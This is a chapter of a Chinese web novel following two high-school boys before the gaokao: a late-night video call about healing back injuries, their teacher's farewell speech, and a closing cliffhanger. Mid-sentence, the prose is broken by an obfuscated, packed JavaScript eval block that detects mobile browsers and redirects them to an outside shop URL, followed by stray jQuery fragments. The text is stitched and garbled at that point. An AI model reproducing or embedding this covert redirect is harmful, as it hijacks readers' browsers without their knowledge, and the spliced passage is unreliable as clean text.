百日誓师那天，阳光很亮。


    彩带飘下来，有一截蓝色的，挂在陈温汗湿的头发上。操场上人在跑，鼓在敲，口号喊得震耳朵，掌声一阵接一阵。


    那片蓝彩带轻轻晃了晃，掉在地上。


    他旁边的位置空着。


    沈泽许和陈温陷入了一种奇特的相处状态——不常见面，却每日互发信息。


    有时是沈泽许拍一张空荡的搬家纸箱，有时是陈温发一道解不出的数学题，更多时候，只是简单的“早”和“晚安”。


    陈温曾开玩笑说，他们这样真像网恋。


    可谁都笑不出来。


    这更像一种心照不宣的蛰伏。没有解脱感，只有等待判决前沉闷的倒计时。


    或许，只有等考试彻底结束，分数尘埃落定，人生的选择权看似重新回到自己手中时，他们才有资格，也有勇气，去真正面对和“结束”这种悬而未决的状态。


    一切只能顺其自然。


    偶尔，沈泽许会来学校上课。两人在教室里，默契地维持着一种近乎陌生的距离。


    不敢对视太久，不敢交谈过密，甚至刻意避免肢体上任何不经意的触碰。


    那份小心翼翼，与其说是害羞，不如说是恐惧。


    怕重蹈林宇舟和李清依的覆辙，怕任何一点越界的亲密，都会通过某双隐藏的眼睛，传到沈明远那里。


    期间，班主任找他们谈过一次话。


    楚婷没有看他们，盯着桌面上一份不知道是谁递交的“课堂情况反馈”，听不出喜怒道：“有人反映，陈温上课有时会和林宇舟说话。我在考虑，要不要给你们换个座位？”


    两人皆是一僵。


    接着，楚婷像是随口提起，又像是刻意强调：“还有……上次领导巡堂，也特意提了一句，说你们两个坐在一起，是不是……”她停顿了一下，没有说下去，转而抬眼看向他们，目光繁芜，“太不寻常了。”


    她没有点破“太不寻常”指的是什么。


    是成绩？是状态？还是某种她隐约察觉却无法证实的关系？


    楚婷摆摆手，做出了决定：“行了，座位先不换了。沈泽许，你平时多看着点，上课纪律要抓好。陈温，你也克制点，少找他说话。”


    话说得严厉，但决定宽容得反常。


    楚婷就是这样一个人，一旦她认定的事，绝不会因几句流言或领导的暗示就轻易改变。她相信自己的判断，也相信这两个孩子。


    但她也并非毫无察觉。


    走出办公室时，陈温回头看了一眼。


    楚婷正低头整理文件，侧脸在午后阳光下显得有些疲惫，眉头微蹙着，像是在思考着什么问题。


    她一定是感觉到了什么。


    有天晚上，陈温决定回家复习。洗完澡，发梢还滴着水，他陷进床铺里，划拉着手机屏幕，一条条未读信息的光标掠过，但都没看进心里。


    手机猝然震动，伴随着默认铃声，屏幕上跳出备注：大好人。


    陈温顿住，呼吸也跟着屏了一瞬，他按下接听，将手机贴到耳边，没先开口。


    听筒里传来电流的噪音，然后是沈泽许的声音，比平日透过电波传来的要低沉一些：“干嘛呢？”


    “刚洗完澡。”陈温翻了个身，盯着天花板上的一块霉斑。


    “一起学习吗？”沈泽许问，“上次那道你不会的物理题，我找到了新解法。”


    陈温沉默下去。


    风扇“呼呼”作响。


    陈温将手机贴着耳廓，对面没有电视声，没有人语，安静得不像一个“家”。


    他这里也没有好到哪里去。


    沈泽许不在身边的这个“家”，不像家。


    其实对陈温来说，哪里都行。


    出租屋，老房子，甚至一间有人的自习室——只要不是他一个人待着的地方，只要空气里有另一个人的呼吸、走动、翻书，哪怕是不语的陪伴，那里就能暂且被称作“家”。


    他需要的不是一个地方，而是一个“不在独自一人”的证明。


    一种熟悉的东西又压上心头。他在一步步把沈泽许拉向深渊吗？


    不知道为什么，他有一种感觉——白阿姨跟沈父要离婚是因为他们两个人的事。


    而沈泽许不去学校，没有请任何家教，就靠着自己啃那些复习资料……真的可以吗？


    沈泽许身上到底发生了什么，他无从得知。那人把嘴闭得像蚌壳，撬不开一丝缝。


    他不愿意说，陈温就拿他毫无办法。有时候沈泽许犯起倔来，比他自己还要固执。


    “晚点再说，”陈温说，“我……想先问你点事，可以吗？”


    听筒那头，沈泽许的呼吸似乎顿了一下。半晌，那边才传来一个极低的回应：


    “……嗯。”


    “你背上的伤，”陈温有些紧绷地问，“怎么样了？有没有……留疤？”


    “没有。”沈泽许的回答很快，没有犹豫。


    “沈泽许，”陈温叫了他的全名，声音沉下去，严肃道，“认真回答我。不许骗我。”


    “……真的。”沈泽许的声音低了些，语速也放缓了，“我妈给我找了种药膏，很好用，每天都有涂。你不信的话，我给你看看。”


    话音刚落，不等陈温有任何反应——


    “嘟……嘟……嘟……”


    电话被挂断了。


    陈温维持着接听的姿势，僵在原地。


    下一秒，手机屏幕再次亮起，嗡鸣震动——是沈泽许发来的视频通话请求。


    陈温盯着那跳动的名字和头像，停顿了足足两三秒。最终，他还是按下了接听，在接通瞬间，迅速关掉了自己这边的摄像头。


    屏幕亮起，画面里出现了沈泽许。他似乎在一个光线充足的房间里，背景是米白色的墙壁。镜头有些晃动，对准了他的肩背。


    皮肤暴露在镜头下。确实比陈温记忆中那天在触目惊心的景象好了许多。


    大部分地方是浅粉色的新生皮肉，光滑，只有几处颜色略深的地方还覆着薄薄的、深褐色的痂，边缘已经微微翘起，即将脱落。


    没有想象中狰狞交错的隆起疤痕，只有一片略显斑驳、但正在顽强愈合的痕迹。


    “看到了吗？”沈泽许的声音从听筒传来，有些闷，画面也随之晃动——他快速将衣服拉好，整理妥帖，不再让镜头多停留一秒。


    “……嗯。”陈温应了一声。


    “怎么不开摄像头？”沈泽许的脸重新出现在画面中央，他看向镜头，尽管那里只有一片黑。


    闻言，陈温在屏幕这头愣了一下。


    那句“怎么不开摄像头？”问得自然，甚至带着点理所应当的亲昵。


    他抿了抿唇，听话地点亮了那个代表摄像头的图标。


    自己的脸出现在屏幕右下角的小框里，头发有些乱，眼神还带着未褪尽的怔忡。


    屏幕那头，沈泽许的脸一下子凑近了些，能清晰地看到他微微挑起的眉梢。


    他一本正经地说：


    “这位同学，看你眉头紧锁，小脸苦哈哈的，本店今日开业大酬宾，免费出租完美微笑一个，包邮到家，即刻点亮心情，要不要试试？”


    陈温没忍住，“噗嗤”一声笑了出来，刚才紧凑的眉头瞬间垮掉，开玩笑道：“你有病啊？”


    “有没有病，走两步看看？”沈泽许接上，眉毛扬得更高，显然很满意自己成功破冰的效果。


    “你当这是卖拐呢！”陈温笑骂完，肩膀松了下来，歪倒在枕头上。


    屏幕里，男生的眉眼舒展开，眼角还有一点没擦净的亮光。


    沈泽许嘴角上扬了点，没接话。他盯着屏幕那头，看了好一会儿。


    窗外的灯只剩零星几盏。两人都没说话，只有很轻的呼吸声从听筒里传出来。


    过了一会儿，沈泽许的声音低了些：“那题……还听不听了？”


    陈温把脸往枕头里埋，只露出一双桃花眼，闷闷道：“听。沈老师开讲吧。”


    沈泽许拿起纸笔，镜头对准草稿纸。他讲得慢，偶尔停一下，问：“这里，懂了吗？”


    陈温就“嗯”一声。有时候他拖着调子说：“没懂，沈老师再讲一遍。”


    沈泽许瞥他一眼，把笔尖倒回去，用更慢的语速，从头拆。


    讲题声断断续续，中间夹着几句别的。


    “你晚饭吃了什么？”


    “泡面。”


    “又吃泡面？”


    “快，省事。你呢？”


    “元姨今天做了排骨，有点咸。”


    “挑食。”


    “……我没挑。”


    陈温看着屏幕里沈泽许低垂的睫毛，看他偶尔微蹙的眉心，看那只握着笔的、骨节分明的手。


    两人像两只在暴风雨间隙，依偎在一起互相舔舐羽毛、汲取温度的小兽。


    都知道风雨可能再来，但此刻的温暖是真实的。


    题讲完了。两人都没动。


    沈泽许放下笔，往后靠进椅背，抬手揉了揉眉心。


    “累了？”陈温问。


    “有点。”沈泽许放下手，看着他，“你也该睡了，你明天还要上学。”


    “嗯。”陈温应着，盯着屏幕，忽然叫了一声：“沈泽许。”


    “嗯？”


    “……没什么。”陈温把脸又往枕头里埋，声音更小了，“你也早点睡。”


    沈泽许没追问，目光落在他脸上。“知道了。”他停了一会儿，叫回去：“陈温。”


    “嗯？”


    “晚安。”


    “……晚安。”


    屏幕暗了。


    陈温把发烫的手机扔到一边，翻了个身，把自己裹进被子。窗外很黑，他闭上眼睛，胸腔里那片空了很久的地方，暂时得到填满。


    -


    时间不等人，高考前最后一个晚自习，考场被封，同学们被转移到“备用教室”。


    笔头沙沙响，书页哗啦哗啦翻，偶尔有人叹口气，或者咳一声。


    神奇的是，陈温发现自己把高考必备单词全背完了。有点意外，但确实做到了。


    除了练字一直没坚持下来，他决定考试时尽量把字写工整。


    合上单词本，他感觉完成了一件事。虽然很小，但让他对明天多了点踏实。


    教室门被推开。班主任楚婷走了进来，身后还跟着一个小小的身影。


    是个小女孩，约莫六七岁，扎两个冲天辫，额前是跟楚婷一模一样的齐刘海。


    她显然被一屋子陌生的“大哥哥大姐姐”吓到了，怯生生地躲在妈妈腿后，露出一双圆溜溜的眼睛，小手攥着楚婷的裤腿。


    “哇——”


    教室里响起惊叹。


    “好可爱啊！”李欣桐捂住心口，说，“我也想有个这样的妹妹！可惜，我是独生女。”


    “睡一觉就好了，”叶萧云不合时宜地开口，“梦里啥都有。”


    “滚！”


    楚婷威严的目光扫视一圈，教室静下来，但很多双眼睛还看着那个方向。


    “自己复习自己的，”她说。然后弯下腰，摸了摸女儿的头，声音放得异常轻柔，“奴奴，小声点，不要吵到哥哥姐姐们学习，知道吗？”应该是个小名。


    小女孩——奴奴点点头，脸有点红。她背着一个印着爱莎公主的书包，松开手，迈着小步子挪进教室。


    那小心翼翼的样子，像只初次踏入人类领地的小猫咪。


    同学们哪里还有心思看书，齐刷刷地跟着她移动，眼里是藏不住的喜爱，像被治愈了。


    讲台上只有一把椅子，楚婷自己坐下，给女儿的椅子就需要另外找。


    “老师！让妹妹坐我旁边吧！我教她学数学！”后排一个男生半开玩笑地举手，引来一片哄笑。


    楚婷瞪了他一眼，走到一张空椅子前——那是请假同学的座位。她把椅子搬到讲台边，用纸巾擦了擦。


    “奴奴，坐这里。”


    小女孩听话地爬上去，坐好。她个子小，脚还够不着地，悬空摇晃着。


    但她很安静，自己从书包里掏出作业本和铅笔，摊在桌上，低下头开始写。


    那一刻，教室里有一种奇异的和谐。一边是即将奔赴人生重大考场的少年们，在知识点中做最后的跋涉；一边是一个刚刚启程的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172008|196843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小女孩，在作业本上描画着最简单的拼音或算术。


    下课铃一响，压抑了一整晚的“萌物能量”彻底爆发。奴奴小朋友瞬间被哥哥姐姐们围了个水泄不通。


    “小妹妹，你叫什么名字呀？”


    “今年几岁啦？上一年级了吗？”


    “哇，你在写什么？拼音吗？给我看看好不好？”


    小女孩被这突如其来的热情包围，有点无措，小脸更红了，下意识望向妈妈，眼里写满了求助，嘴角还在努力维持着微笑，就是不开口。


    楚婷看着女儿被“围攻”，又是好笑又是无奈：“人家姐姐问你叫什么呢，奴奴，要有礼貌。”


    小女孩抿起唇，还是没说话，只把作业本往怀里抱。


    就在这时，一只拿着糖的手从人群缝隙里伸了过来，粉色的糖纸在灯光下亮晶晶的。


    是陈温。他刚才在口袋里摸了半天，总算找到早上找零时，老板顺手塞的水果硬糖，橘子味的。


    “给。”男生说，动作也有些生硬，显然不太擅长应付小孩子。


    奴奴看着那颗糖，又看看妈妈，犹豫不决。


    “还不快谢谢哥哥。”楚婷在一旁提醒。


    小女孩这才伸出小手，接过糖，小声地挤出两个字：“谢……谢。”发音软糯，带着孩童特有的含糊。


    然后，她仰起小脸，把糖递向了楚婷。


    楚婷笑了，接过糖，向周围的同学解释：“她今天已经吃过一颗了，不能再吃了，明天才能吃。我先替她保管。”她把糖放进自己的口袋。


    陈温有点不好意思地“嗯”了一声，退出了人群中心，回到自己的座位。


    上课铃响，楚婷板起脸，把还围着讲台不肯散开的“热心群众”轰回了座位。


    临近晚自习结束，楚婷叫了叶萧云和几个男生去她办公室搬东西。


    几个大箱子被吭哧吭哧地抬了进来。楚婷亲自打开，里面整整齐齐码着的，竟是美味的杯子蛋糕。


    三种口味：奥利奥，草莓和芒果。它们散发着诱人的气味。


    “一组一组过来拿，每人一个，别抢。”楚婷说。


    同学们抑制不住地欢呼。轮到陈温他们组时，林宇舟眼疾手快，边拿自己的那个，边就要去够另一份：“沈哥不在，我替他保管，明天我发誓，我绝对不偷吃，绝对原封不动给他！”


    楚婷眼风一扫，毫不留情：“想都别想。自己的自己拿，没来的那份……我替他留着。”她说着，真的把一个奥利奥口味蛋糕，单独放到了一边。


    等每个人都捧着一个香甜的小蛋糕时，楚婷拍了拍手，示意大家安静。


    “占用大家最后五分钟。”她站在讲台上，目光扫过台下每一张年轻而熟悉的脸。


    三年时光，从青涩到即将成熟，多少晨昏，多少训斥与鼓励，都沉淀在此刻。


    “首先，”楚婷说，“我跟你们有些人在认识了三年，也有才跟我一两年的同学，但跟你们在一起，我很开心。当然，也有不省心的时候，总有些孩子变着法儿给我惹麻烦……”她目光在林宇舟等人脸上停了会，引来一阵心照不宣的低笑。


    “但是，”她的语气郑重起来，“我还是爱着你们每一个的。别看我平时凶，要求严，我只是……想让你们以后的路，能走得稳一点，宽一点，能有更多的选择和自由，去看我没看过的风景。”


    教室里寂静无声，都痴痴地看着楚婷。


    “明天，你们就要去面对人生里一场很重要的考试了。我祝你们什么呢……”她哽咽起来，脸上露出一点笑意，“就……祝你们蒙的都对，写的都对吧！”


    “好——！”台下爆发出热烈的掌声，有人已经偷偷抹起了眼角。


    掌声稍歇，楚婷话锋一转，带了点秋后算账意味：“最后呢，我想问问，当初百日誓师那几个缠着我拍照的，朋友圈为什么没发？是把我屏蔽了吗？嗯？”


    “哈哈哈——”同学们顿时笑成一片，刚才那点伤感的气氛被冲得无影无踪。


    楚婷自己也笑了，等笑声平息，她才再次开口：“我希望，高考以后，你们别真的把我屏蔽了。我也不想再当那个整天管着你们、盯着你们、唠叨你们的班主任了。”


    她停顿了一下，目光温暖：


    “我想当你们的知已。以后啊，不管去了哪里，上了什么大学，遇到了什么开心的事，或者……遇到了什么过不去的坎，难过得不行的时候，都可以跟我说说。老师的电话，永远为你们开着。”


    台下静默着，许多双眼睛里闪烁起复杂的光。


    “当然，”她最后补充，幽默道：“等你们毕业以后回来找我，可千万别跟我玩‘猜猜我是谁’的游戏。我这人吧，带完一届，名字和学号都忘得差不多了，只记得张脸，对不上号。”


    “所以，来看我之前，最好先自报家门。”她笑着说，眼角有了细纹。


    晚自习结束的铃声，就在这时响起。


    “好了，”楚婷挥挥手，“蛋糕带回去，今晚好好休息，明天……正常发挥。”


    同学们陆续起身，上前去跟楚婷拥抱，手里捧着个小小的蛋糕，心里被更柔软的东西填满。


    陈温也跟楚婷拥抱了会儿，拿起那个芒果味的纸杯蛋糕，随着人流走出教室，夏夜的风吹在脸上。


    身后的教学楼灯火通明，那是他们奋斗了三年的战场，而明天，他们将奔赴另一个更广阔的、未知的战场。


    路灯将他孤单的影子拉得很长，又缩短，周而复始。楚婷的话、同学们互相打气的笑闹声似乎还在耳边回响。


    没有意外的话，他只能一个人面对剩下的一切。


    但，也没关系。


    他要长大了。


    不是年龄意义上跨过十八岁门槛，而是心理上，必须挺直脊梁，独自扛起自己人生的重量，并为自己的选择负起全责的时刻。


    陈温回到小区，掏出钥匙，插入锁孔，转动。


    “咔哒。”


    门开出一条缝，灯光与隐约的电视声立刻从门缝里溢了出来。


    他动作一顿。


    这个时间，元姨绝不可能还在。


    是谁？